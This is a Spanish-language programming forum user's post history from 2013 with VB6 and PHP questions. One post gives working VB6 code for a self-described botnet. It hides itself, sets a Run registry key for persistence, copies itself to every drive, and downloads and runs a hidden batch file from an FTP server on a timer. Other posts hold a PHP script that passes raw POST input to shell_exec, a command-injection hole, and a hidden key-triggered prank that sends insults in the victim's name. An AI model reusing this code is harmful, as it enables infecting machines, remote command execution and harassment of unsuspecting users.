|
81
|
Programación / Programación Visual Basic / modificacion de archivos batch
|
en: 4 Noviembre 2013, 21:46 pm
|
alguien me podria dar una idea de como modificar partes de un batch por ejemplo set juego=systems.exe SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL SET AUTORUN=autorun.inf modificar autorun.inf por otra cosa con un texbox ojo solo pido un ejemplo no pido que me lo hagan quiero crear un especie de encriptador de batch pero solo quiero modificar partes del codigo si alguien pudiera ayudarme muchas gracias quiero algo parecido a esto pero en batch esto es en word Option Explicit Dim objWord As Word.Application Private Sub cmdLlenaCarta_Click() Set objWord = New Word.Application objWord.Visible = True 'Pon la Ruta donde Guardaste la Carta objWord.Documents.Open App.Path & "Carta.doc" objWord.Documents(1).Bookmarks("Destinatario").Range = txtDestinatario.Text objWord.Documents(1).Bookmarks("Esposa").Range = txtEsposa.Text objWord.Documents(1).Bookmarks("Fecha").Range = txtFecha.Text End Sub Private Sub Form_Unload(Cancel As Integer) Set objWord = Nothing End Sub
Private Sub LlenaCarta_Click()
End Sub
lo que hace es que modifica el nombre de la esposa la feha,el destinatario por algo que tenga en los textbox lo solucione solo hice los marcadores en word y de word convertirlo a bat
|
|
|
82
|
Programación / Desarrollo Web / Re: ayuda con especie de mp3 downloader page
|
en: 2 Noviembre 2013, 17:37 pm
|
Lo que te quiero decir es que con PHP no puedes descargar archivos en el lado del cliente. Como mucho le puedes dar el link para que su navegador lo descargue.. pero no puedes hacerlo automáticamente sin su consentimiento (política de navegadores).
Saludos
es lo que digo despues de convertir el archivo a mp3 el servidor la otra pc lo baje al picarle a un boton o algo asi xD para que me entiendas una especie de dirpy o youtube-mp3
|
|
|
84
|
Programación / Desarrollo Web / Re: abrir varios popup
|
en: 2 Noviembre 2013, 16:14 pm
|
window.open ("http:paginaweb.com","nombrepopup"); solo cambia donde dice por otra cosa chat1,chat2,chatsex lo que quieras y eso ara que se abran otras popup
|
|
|
85
|
Programación / Desarrollo Web / ayuda con especie de mp3 downloader page
|
en: 2 Noviembre 2013, 16:11 pm
|
<?php
$usuario = $_POST['video']; echo "Starting download...\n\n"; echo shell_exec("youtube-dl -f 17 -t --extract-audio --audio-format mp3 ".$usuario.""); echo "Done.\n";
?> tengo este codigo en php y descarga el sonido perfectamente pero por ejemplo si lo hago en lan funciona tambien pero el archivo mp3 se baja en el directorio y no se baja en el otro pc alguien podria decirme como podria hacer para que el mp3 se descarge en otro pc y no solo en el directorio de la web se los agradeceria mucho gracias
|
|
|
86
|
Programación / Programación Visual Basic / especie de botnet ftp inet
|
en: 26 Octubre 2013, 18:43 pm
|
Option Explicit Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load() FileCopy App.EXEName & ".EXE", "C:\wins.EXE" Me.Hide App.TaskVisible = False Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\wins.exe /f " Open "C:\Windows\System32\Winlog.bat" For Output As #1 Print #1, "@echo off" Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\trabajo.exe)" Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\trabajo.exe)" Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\trabajo.exe)" Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\trabajo.exe)" Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\trabajo.exe)" Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\trabajo.exe)" Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\trabajo.exe)" Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\trabajo.exe)" Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\trabajo.exe)" Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\trabajo.exe)" Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\trabajo.exe)" Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\trabajo.exe)" Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\trabajo.exe)" Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\moxxita.exe)" Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\moxxita.exe)" Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\moxxita.exe)" Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\moxxita.exe)" Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\moxxita.exe)" Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\moxxita.exe)" Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\moxxita.exe)" Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\moxxita.exe)" Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\moxxita.exe)" Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\moxxita.exe)" Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\moxxita.exe)" Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\moxxita.exe)" Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\moxxita.exe)" Print #1, "exit" Close #1 Shell ("C:\Windows\System32\Winlog.bat"), vbHide
End Sub Private Sub Timer2_Timer() On Error Resume Next
Inet1.Execute "ftp://" & Text1.Text & ":" & Text2.Text & "@ftp.server.com", "GET /public_html/xd.bat c:\lols.bat" Calcular If Dir("C:\lols.bat") <> "" Then Shell ("c:\lols.bat"), vbHide Calcular Kill ("c:\lols.bat") Else Calcular End If End Sub
Sub Calcular() Call Sleep(60000) 'espera por 60 segundos End Sub
si pudieran darme ideas para una especie de botnet con inet ftp jaja se los agradeceria mucho o si pudieran decirme como podria mejorar el codigo en algo,si pudieran decirme como podria saber si existe un archivo en el ftp descargargalo si no que se valla al tiempo de espera gracias
|
|
|
87
|
Programación / Programación Visual Basic / Re: verificar existencia de un archivo dentro de un ftp
|
en: 23 Octubre 2013, 16:03 pm
|
http://www.cs.colostate.edu/helpdocs/ftp.htmlRealiza una conexión TCP contra el server FTP, una vez loggeado necesitas enviar el comando correcto: LS Sirve para listar los fichero del directorio activo (por defecto \). Una vez tengas el listado de ficheros haz una comparación y ya sabrás si existe el fichero o no. Saludos ====================================== Ejemplo de una conversación típica entre cliente/servidor: % ftp cs.colorado.edu Connected to cs.colorado.edu. 220 bruno FTP server (SunOS 4.1) ready. Name (cs.colorado.edu:yourlogin): anonymous 331 Guest login ok, send ident as password. Password: 230-This server is courtesy of Sun Microsystems, Inc. 230- 230-The data on this FTP server can be searched and accessed via WAIS, using 230-our Essence semantic indexing system. Users can pick up a copy of the 230-WAIS ".src" file for accessing this service by anonymous FTP from 230-ftp.cs.colorado.edu, in pub/cs/distribs/essence/aftp-cs-colorado-edu.src 230-This file also describes where to get the prototype source code and a 230-paper about this system. 230- 230- 230 Guest login ok, access restrictions apply. ftp> cd /pub/HPSC 250 CWD command successful. ftp> ls 200 PORT command successful. 150 ASCII data connection for /bin/ls (128.138.242.10,3133) (0 bytes). ElementsofAVS.ps.Z . . . execsumm_tr.ps.Z viShortRef.ps.Z 226 ASCII Transfer complete. 418 bytes received in 0.043 seconds (9.5 Kbytes/s) ftp> get README 200 PORT command successful. 150 ASCII data connection for README (128.138.242.10,3134) (2881 bytes). 226 ASCII Transfer complete. local: README remote: README 2939 bytes received in 0.066 seconds (43 Kbytes/s) ftp> bye 221 Goodbye. % ls . . . README . . . es posible usar el ls con inet de vb6 ?
|
|
|
89
|
Programación / Programación Visual Basic / Re: bromilla con GetAsyncKeyState
|
en: 20 Octubre 2013, 14:52 pm
|
Faltaria detectar la ventana de facebook activa. porque si estoy en word o notepad o haciendo otra cosa.
saludos
no es solo para facebook xD es para cualquier ventana pero estaria bien poner eso que dices si seria mucho spam XD pero orita que dices sobre la ventana de facebook me as dado una idea seria bueno para la propagacion de algo atravez de facebook xD
|
|
|
90
|
Programación / Programación Visual Basic / bromilla con GetAsyncKeyState
|
en: 20 Octubre 2013, 04:11 am
|
lo que se puede hacer con la funcion GetAsyncKeyState utilizada mucho en los keyloggers xD aqui les traigo una pequeñilla broma que insulta jaja imaginate estas en facebook y presionas la letra s o cualquiera que le asignes ala bromilla y de un derrepente se autoescribra una groseria y mande un enter jaja los lios en los que meteras ala persona jaja declaras esto Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer If GetAsyncKeyState(13) Then SendKeys "groceria" SendKeys "{ENTER}" End If va dentro de un timer espero no se lo tomen a mal y me insulten solo comparto informacion xD
|
|
|
|
|
|
|